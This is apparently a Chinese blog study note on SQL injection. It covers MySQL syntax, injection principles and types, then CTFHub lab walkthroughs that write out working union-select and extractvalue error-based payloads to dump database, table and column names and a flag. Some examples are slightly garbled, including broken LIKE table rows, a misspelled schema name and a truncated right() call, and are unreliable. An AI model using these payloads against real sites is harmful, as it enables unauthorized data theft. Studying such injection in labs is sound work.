SQL注入系统学习
Ctfhub Web-SQL注入
mysql 命令
sql 命令使用
1 | 1.基本查询 |
1 | 4.排序 |
1 | 5.分页查询 |
1 | 6.聚合查找 |
1 | 7.多表查询 |
8.连接查询
1 | SELECT s.name, s.class_id, s.gender, s.score FROM stu s; |
LIKE 运算符
到目前为止,您已经看到了标识确切字符串的条件,例如WHERE name=‘Lois Lane’。但是在SQL中,您也可以使用LIKE运算符执行部分或模式匹配。
LIKE运算符允许您为一个或多个字符指定通配符提供模式匹配的度量。您可以使用以下两个通配符:
● 百分号(%) - 匹配任意数量的字符,甚至零个字符。
● 下划线(_) - 完全匹配一个字符
这是一些示例,显示了如何将LIKE运算符与通配符一起使用。
声明 | 含义 | 返回值 |
---|---|---|
WHERE name LIKE ‘Da%’ | 查找以Da开头的名字 | David, Davidson |
WHERE name LIKE ‘%th’ | 查找以th结尾的名字 | 查找以th结尾的名字 Elizabeth, Smith |
WHERE name LIKE ‘%on%’ | 查找包含on的名字 | Davidson, Toni |
WHERE name LIKE ‘Sa_’ | 查找以Sa开头且最多后跟一个字符的名字 | Sa |
WHERE name LIKE ‘_oy’ | 查找以oy结尾且最多包含一个字符的名字 | Joy, Roy |
WHERE name LIKE ‘an’ | 查找包含an的名字,并以一个字符开头和结尾 | Dana, Hans |
WHERE name LIKE ‘%ar_’ | 查找包含ar的名字,该名字以任意数量的字符开头,并以最多一个字符结尾 | Richard, Karl |
WHERE name LIKE ‘_ar%’ | 查找包含ar的名字,最多以一个字符开头,以任意数量的字符结尾 | Karl, Mariya |
模糊查找
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
危害:木马上传、UDF提权、数据泄露。其中最大的危害就是数据泄露。
产生原因:由于编写程序的时候,未对用户的输入进行有效的过滤,从而让用户通过非法输入获取其他的数据信息。也就是说在进行数据交互的过程中,用户的恶意输入被带入到了程序后端数据库进行查询。导致了数据的泄露。
总体攻击思路
2.SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1时,数据库执行的代码如下所示
1 | select * from users where id = 1' 1 |
这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
1 | select * from users where id=1 and 1=1 |
1 因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。 在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承”外部参数皆不可信的原则”进行开发
.MySQL查询语句
在不知道任何条件时,语句如下所示。
select 查询的字段名 from 库名.表名
在知道一条已知条件时,语句如下所示。
select 要查询的字段名 from 库名.表名 where 已知条件的字段名=’已知条件的值’
.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果
1:寻找到SQL注入的位置
2:判断服务器类型和后台数据库类型
3:针对不同的服务器和数据库特点进行SQL注入攻击
3 SQL注入的分类
可以按照两个分类标准来进行分类,当然常见的就是按照注入方式的不同将其分类为:
联合查询注入:可以明确判断回显位置的情况下使用
报错注入:无回显位置,可以有报错输出的情况可以使用
布尔盲注:关闭错误回显和数据回显,但是页面会根据我们的输入对错变化。可以使用。
时间盲注:无任何形式的回显,但是仅仅对睡眠函数有响应,可以使用时间盲注。
堆叠注入:堆叠注入在mysql上不常见,必须要用到mysqli_multi_query()或者PDO,可以用分号分割来执行多个语句,相当于可直连数据库。Mssql则较常见堆叠注入。
根据注入点分类:
数字型注入 字符型注入 搜索型注入
2. 注入思路
需要记住的几个函数
·database()
当前网站使用的数据库
·version()
当前MySQL的版本
·user()
当前MySQL的用户
注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/
。
此处为对联合查询的高度概括
1 | #1.判断数据库字段数目 |
1 | group_concat()—字符连接—连接为一行 |
了解过程之后我们可以刷题复习
3.判断闭合方式
首先我们可以知道,sql的注入可以分为数字类型,字符类型。
方法1:首先我们可以使用\(转义字符)来判断SQL注入的闭合方式。 原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。
分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。
方法2:首先尝试: ?id=1’ ?id=1” 结果一:如果都报错 判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。 继续尝试 ?id=1’ –-+ 结果1:无报错 判断闭合符为:单引号闭合。 结果2:报错 判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。 继续尝试 ?id=1" -–+ 结果1:结果无报错 判断闭合符为:双引号闭合。 结果2:报错 判断闭合符可能为:双引号加括号。
注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。
ctfhub复现 整数型注入
我们输入 1
不断尝试发现闭合方式就是 1 ,整数型
可以发现存在2列
1 | order by 2 |
然后我们可以发现到存在两个注入点
1 | /?id=-1 union select 8,9 |
爆库,当前数据库为sqli
1 | /?id=-1 union select 8,database() |
爆出所有表名,这里我们需要把sqli转换为16进制
1 | /?id=-1 union select 8,group_concat(table_name) from infromation_schema.tables where table_schema=0x73716c69 |
爆字段,我们需要把表明转换为16进制
1 | /?id=-1 union select 8,group_concat(column_name) from information_schema.columns where table_name=0x666c6167 |
查询flag字段的值
1 | /?id=-1 union select 8,flag from sqli.flag |
问题解决
ctfhub复现 字符型注入
打开题目环境
我们先测试
输入
1 | 1' |
判断闭合方式为字符型,闭合方式 1’
1 | 两列 |
1 | 通过占位符查看回显 |
1 | 当前数据库 |
1 | 爆表 |
1 | /?id=-1' union select 1,flag from sqli.flag --+ |
ctfhub 复现 报错注入
判断注入
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显。
三种方法extractvalue() updatexml() floor()
(1)extractvalue报错注入:0x7e就是~用来区分数据
里面用select语句,不能用union select
concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。extractvalue报错注入语句格式:
1 | ?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e)) |
爆库
1 | 1 and extractvalue(null,concat(0x7e,(database()),0x7e)) |
爆库成功,库名为sqli
,爆表limit 0,1
爆破第一个表
1 | 1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) |
继续爆表
1 | 1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)) |
爆表成功,sqli
库中有两张表,分别是news
,flag
,接下来爆字段名
1 | 1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e)) |
得到字段名为flag
,接下来爆字段内容
1 | 1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e)) |
只爆出一半
接下来后半段
1 | 1 and extractvalue(null,concat(0x7e,right((select(group_concat(flag)) from sqli.flag) ,),0x7e)) |
我们试试拼接flag
1 | ctfhub{9ea05fa1283354d369af657c9ea05fa1283354d369af657c} |